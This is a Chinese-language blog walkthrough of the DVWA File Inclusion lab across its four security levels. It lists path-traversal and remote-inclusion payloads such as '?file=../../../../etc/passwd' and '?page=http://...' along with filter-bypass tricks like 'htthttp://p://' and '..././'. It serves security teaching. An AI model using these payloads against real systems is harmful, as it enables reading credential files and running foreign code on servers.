zoukankan      html  css  js  c++  java
  • DVWA(八):File Inclusion 全等级文件包含

    文件包含:

      开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

    文件包含漏洞:

      开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

    所用到的函数:

    require:找不到被包含的文件,报错,并且停止运行脚本。

    include:找不到被包含的文件,只会报错,但会继续运行脚本。

    require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

    include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

    主要特征:

    ?page=a.php
    ?home=b.html
    ?file=content

    例如:

    ?file=../../../../etc/passwd
    ?page=file:///etc/passwd
    ?home=main.cgi
    ?page=http://www.a.com/1.php
    http://1.1.1.1/../../../../dir/file.txt

    举个例子:在DVWA的文件包含模块 low级别

    这里有个1.txt文件,内容为  hello world

    我们在URL中将参数修改为:?page=../1.txt,尝试包含这个1.txt文件:

     可以看到爆出了文件的内容。

    这里路径可以用绝对路径也可以用相对路径;文件保护使,不管文件是何类型都会优先尝试当作

    php文件执行,如果有php代码会返回php代码的结果,如果没有php代码,会将文件内容回显出来。

    一般文件包含的隐患就是可以爆出passwd文件中的账户密码信息或者config配置文件的内容。

    low级别:

    观察源码:

    可以看到low级别对于参数page没有进行任何的过滤

     用相对路径读取本地文件:

    我们写一个php文件放在WWW目录下:

     

     尝试包含此文件:可以看到我们写的php代码被直接运行并返回结果

     也可以将参数构造为:

    ?page=http://目标IP/目标目录+目标文件 进行远程包含

    Medium级别

    观察源码:

    这里使用了str_replace函数对http://  、 https:// 、 ../ 、  ..   进行了过滤处理

    可以使用双写http://或者绝对路径来绕过(例如:htthttp://p://)或者用..././来进行绕过

    或者绝对路径和file协议。

    High级别:

     两个条件分别为file变量中不含有file,且不等于include.php就行

    还可以继续用file协议进行绕过

    例如:

    ?page=file///C:/phpstudy/WWW/1.txt

     Impossible级别:

    观察源码:

     可以看到只要不是 include.php file1.php file2.php file3.php 都会报错,类似于白名单的做法

    除了以上四个文件其余的文件都不可被包含,彻底杜绝了文件包含漏洞。

  • 相关阅读:
    POJ--3667 Hotel
    Dragon Balls
    Popular Cows
    Tunnel Warfare [HDU--1540]
    CompletableFuture
    Future<V>
    分布式架构知识体系
    异步I/O和非阻塞I/O(轮询)
    同步异步阻塞非阻塞及并发级别
    volatile
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12553066.html
Copyright © 2011-2022 走看看